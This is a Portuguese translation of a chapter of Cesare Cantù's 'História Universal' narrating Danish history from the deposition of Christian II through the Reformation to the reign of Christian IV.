A Dinamarca no século XVI – História Universal

A Dinamarca no século XVI – História Universal

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História Universal de Césare Cantu

CAPÍTULO XXIX

A Dinamarca

Meu nome deveria ser inscrito na porta de todos os meus príncipes, dizia Munz, capitão de justiça da Jutlândia, quando viu notificar a Cristiano II que a nobreza e o clero o depunham, por ter violado seus privilégios. O Nero do Norte foi substituído por Francisco I (1523), seu tio, duque de Holstein, e filho desse Cristiano que, primeiro dessa casa, tinha dominado sobre os três reinos do Norte. A Suécia tinha sido separada dos outros dois pela energia de Gustavo Wasa; e o novo reinado foi constantemente inquietado já pelas tentativas do monarca destronado, já pela reforma.

As novas idéias tinham já penetrado no país no tempo de Cristiano, que as deixava germinar, a fim de humilhar o clero. Paulo d’Elia, prior dos carmelitas em Copenague, tinha entrado a explicar na língua nacional as pregações que fazia em alemão um chamado Martinho; porém o povo escarneceu desse apóstolo, que não tinha o dom das línguas, o que o obrigou a retirar-se, e o prior tornou à verdade. No entanto, João Tausen de Fiônia, discípulo de Lutero, proclamou as suas doutrinas em Copenague; e a primeira profissão publica delas foi feita em Malmoe. Frederico, que estava imbuído nessas doutrinas, concedeu a liberdade de consciência (1527), assegurando todavia ao clero católico a conservação de seus bens, "salvo o caso de ser despojado deles em virtude de uma lei". Só os capítulos foram investidos no direito de eleger os bispos, reservando-se o rei de os confinar, sem que Roma tivesse faculdade de intervir em coisa alguma. Isto era uma moderação impossível, porque em breve apareceu uma confissão de fé em quarenta e três artigos (1530), copiada de Augsburgo; e os protestantes entregaram-se a seus costumados excessos, primeiro contra as imagens e depois contra indivíduos. Os católicos reagiram principalmente na Noruega e na Islândia, que consideravam a reforma como uma tirania dinamarquesa.

Cristiano esperou poder tirar partido deste estado de desordem, e, blasonando de grande zelo católico, desembarcou na Noruega, auxiliado por Carlos V, seu cunhado, e pelos senhores alemães, no mesmo momento em que sua mulher recebia à ceia em Nuremberg, para cativá-los, os príncipes protestantes. Os católicos escandinavos forneceram-lhe subsídios, e lhe entregaram até a prata das igrejas; porém em breve (1532), êle se achou reduzido a tal extremidade, que foi obrigado a entregar-se a seu tio. Este príncipe, faltando à palavra dada, prendeu-o no castelo de Sanderburgo, onde viveu dezessete anos em companhia de um anão, o que moveu a compaixão em seu favor, fêz esquecer o morticínio de Estocolmo e amaldiçoar o seu carcereiro.

Por política e religião, Frederico fêz causa comum com os inimigos da Áustria e com a liga de Smalkalde; êle pediu aos noruegueses o juramento de não aceitarem para rei senão aquele que fosse eleito pelos dinamarqueses. Porém, em vez de seguir o movimento geral deste século para a monarquia, a Dinamarca tinha visto a nobreza fortificar-se; e, por ocasião da eleição de Frederico, ela se tinha assegurado do direito de vida e morte sobre os aldeões, assim como da faculdade ilimitada de lançar as taxas, o que a tornou poderosa e quase independente. Os inconvenientes de um regime eletivo faziam-se, portanto, sentir ainda mais cruelmente. Por morte de Frederico, Cristiano III, seu filho mais velho, apresentou-se, depois de ter recebido a homenagem de Slesvig e do Holstein, como aspirante ao trono da Dinamarca; porém os prelados quiseram opor-lhe João, seu irmão mais moço (1), alegando que, desde a infância, este príncipe falava a língua do país, enquanto que o outro podia ser considerado como alemão; ora, o seu verdadeiro motivo era que êle tinha sido educado no catolicismo. A dieta em conseqüência declarou o interregno, e Lubeck tratou de tirar vantagem da circunstância.

(1) Adolfo, terceiro filho de Frederico, veio a ser tronco dos duques de Holstein Gottorp, e por conseguinte dos imperadores da Rússia, dos reis da Suécia e dos grão-duques de Oldemburgo.

Ao mesmo tempo que na República de Lubeck a antiga aristocracia só cuidava do comércio, uma nova administração democrática preocupava-se com o poder, na esperança de se assenhorear da Escandinávia e do Báltico. O burgomestre Jorge Wullenwever, que tinha ido a Copenague na qualidade de embaixador, para sondar os ânimos, e o marechal Marcos Meyer, que a República tinha feito seu almirante, conduziram toda a conjuração. Ora, como Cristiano não acedesse às condições mediante o que eles lhe ofereciam de o colocar no trono, eles projetaram dar a Dinamarca a Henrique VIII da Inglaterra, e a Suécia a Swante Sture, filho de Stenão Sture, antigo administrador deste reino. Eles não queriam provavelmente senão enganar com promessas o príncipe inglês, cujo dinheiro lhes serviu para levantarem um exército que foi confiado a Cristóvão, conde de Oldemburgo, senhor que não possuía mais do que uma afamada espada, e que sabia ler Homero no original. Este aventureiro tomou a peito sustentar as classes menores e os católicos; porém, quanto ao essencial, trabalhava para si próprio, enquanto que os homens de Lubeck o julgavam instrumento cego de.seus projetos ocultos, e que Cristiano II se lisonjeava com a esperança de que êle combatia para o restabelecer no trono. A verdadeira contenda era entre nobres e plebeus, entre protestantes e católicos, entre os negociantes alemães e os dos Países-Baixos, para se excluírem mutuamente do Sund.

Os dinamarqueses, derrotados por todos os lados e vítimas de uma guerra mortífera, apressam-se em reunir seus votos sobre Cristiano III, cujo valor fêz mudar as probabilidades da guerra, e que concluiu em Lubeck (1534) uma vantajosa paz. Cristiano III, uma vez seguro no trono, reuniu os senadores seculares para destruir o poder episcopal e chamá-los às mãos do rei. Em conseqüência foi estabelecido que os capítulos (1536), as universidades, as escolas, as igrejas conservassem as suas propriedades e rendas; que os bens dos conventos fossem confiscados, que os bispos fossem despojados e presos, finalmente que o sucessor ao trono fosse nomeado em vida do rei.

João Bugenhag, discípulo e colega de Lutero, e apóstolo das cidades hanseáticas, foi escolhido para organizar a igreja. Os prelados foram substituídos por superintendentes, com o título puramente honorífico de bispos; eles deviam ser eleitos pelos priores da diocese, os priores, pelos ministros, os ministros, pelos notáveis da paróquia. Junto de cada bispo foi colocado um bailio para reger as coisas temporais; o clero evangélico não teve portanto senão uma pequena parte da autoridade de que gozava o clero católico. Segundo o conselho de Lutero, o rei conservou os canonicatos, para os dar em recompensa aos súditos mais dignos.

Os burgueses tinham ainda pouca influência em um país em que o comércio se havia ainda desenvolvido pouco. Por isso a revolução operou-se inteiramente em proveito dos nobres, que, livres de todo o obstáculo, usurparam exorbitantes prerrogativas, a tal ponto que nenhum emprego importante podia ser conferido sem o seu consentimento. Esta constituição durou até 1660, quando a necessidade de resistir aos suecos fêz proclamar a monarquia absoluta. A Noruega, em castigo da proteção que tinha concedido a Cristiano II, foi reunida à Dinamarca, conservando contudo as suas leis e as suas assembléias nacionais. A Islândia só à viva força aceitou a nova religião.

Cristiano contraiu aliança com o rei da França, Francisco I (1541), obrigando-se cada um deles a se prestarem mutuamente auxílio para vedar a passagem do Sund. Esta convenção, que arruinava o comércio dos Países-Baixos, produziu um rompimento com Carlos V; porém a boa harmonia foi restabelecida pela paz de Espira (1544), nos termos da qual Cristiano III renunciou a seus comprometimentos para com a França, e restituiu aos cidadãos de Amsterdã seus antigos direitos de livre navegação no Báltico.

Este príncipe morreu chorado, como bondoso e amigo de fazer bem; sucedeu-lhe Frederico II, seu filho, de idade de vinte e cinco anos.

Os ditmarsas tinham-se constituído em República, depois de se terem livrado do jugo da Dinamarca, cujo exército haviam derrotado em 1500; continuavam a ameaçar o seu território, prontos sempre para se aliar com seus inimigos. Frederico conseguiu desalojá-los, apesar da sua heróica defesa, e grande número deles morreu debaixo das ruínas de Heyde.

Já fizemos menção da guerra que este príncipe sustentou contra a Suécia. Quando ela terminou, êle só cuidou da paz e da economia; aumentou o número das escolas, confirmou os privilégios da Universidade de Copenague, edificou cidades e construiu o castelo de Friedrichsburgo, que depois veio a ser uma das mais belas residências reais. Protegeu Tycho-Brahe, e fêz construir para as suas observações astronômicas o castelo de Uranienburgo. Pedro Oxe, parente deste sábio, restabeleceu as finanças. Por isso Cristiano IV, quando foi chamado ao trono por morte de seu pai, achou um reino florescente e um exército bem equipado.

Este príncipe foi um dos maiores reis do seu tempo (1588). Êle reuniu em sua pessoa os ducados dependentes da coroa, que esses desmembramentos tinham enfraquecido. Saiu vantajosamente da guerra com a Suécia pelo tratado de Tensin. Todo aplicado aos negócios, visitou as suas províncias, informou-se de suas necessidades, andou em volta de toda a Noruega vestido como simples capitão, dobrou o cabo Norte, percorreu as costas imensas de seus domínios até o ponto em que elas confinam com as da Rússia e próximo do mar Branco, cuja situação reconheceu, dando as ordens convenientes para daí tirar vantagem. Êle fundou diferentes cidades, como Cristianópolis e Gotemburgo nas fronteiras da Suécia, Cristiânia e Cristiansand na Noruega, Gluckstadt e Chistiampries no Holstein. Dotou Copenague com um jardim botânico, com uma biblioteca pública, e favoreceu a indústria tanto quanto o permitia o sistema feudal, ainda profundamente enraizado.

Êle promulgou novas leis (1605); e, a fim de tirar o comércio às cidades hanseáticas, formou uma sociedade das índias Orientais (1616); um navio que êle mandou à ilha de Ceilão lá fêz um tratado de comércio, e ocupou a cidade de Tranquebar (1620), onde se formou uma colônia, única e mais importante possessão da Dinamarca na índia. Uma outra companhia, constituída para o comércio privilegiado da Irlanda e das ilhas Faeroer, teve de ser suprimida por causa dos corsários argelinos.

Cristiano IV teve por sogro e por ministro Corfitz Ulefeld, que, dotado de bela figura e raros talentos, foi encarregado de dirigir as finanças e os negócios comerciais. Proibiu o transporte do Báltico, pelo estreito, salitre, enxofre, pólvora e armas, proibição que pôs peias ao comércio dos holandeses. Estes recorreram às negociações e à força para obter que o Sund fosse livre; tentaram penetrar no Báltico por meio de canais; afinal passaram debaixo da bandeira sueca, o que foi motivo ou pelo menos pretexto de uma guerra com a Suécia.

Cristiano IV via com susto a Suécia adquirir preponderância nos negócios do Norte: interpôs-se portanto como medianeiro entre ela e a Áustria por ocasião da paz de Vestfália. Foi por proposta sua que a indenização concedida a esta potência lhe foi dada em dinheiro e não em território, e que os veteranos de Gustavo Adolfo repartidos em pequenos corpos pelos diferentes príncipes da Alemanha. Tão parcial intervenção desagradou à Suécia, que, com o pretexto de que acabamos de falar, se uniu à Holanda e começou a guerra. A Dinamarca ficou vencida; e as tropas que durante a guerra de trinta anos, tinham assolado a Alemanha, acharam países virgens para exercerem novas rapinas. Cristiano não perdeu a coragem, e, com a intervenção da França, concluiu a paz em Bromsebro (1645), reconhecendo os suecos isentos de todo o pedágio tanto no Sund como em Belt; quanto à Holanda, foi obrigada a pagar o direito por espaço de três anos, segundo uma tarifa estabelecida, com a convenção de se dar inteiro crédito aos papéis de bordo, e de não operar a visita dos navios.

Ulefeld, malvisto no país em virtude destas desgraçadas circunstâncias, foi mandado como embaixador à Haia, onde conclui com os Estados-gerais um tratado (1647), que, determinando o porte de cada navio, e os direitos a pagar à sua entrada na Noruega, foi base de relações amigáveis entre os dois países.

Cristiano IV reinou setenta e um anos; Tilly dizia dele que, para ser grande capitão, só lhe faltava felicidade, como se dizia também que em política só lhe faltava a dissimulação.

 Fonte: Edameris. Trad. Savério Fittipaldi.

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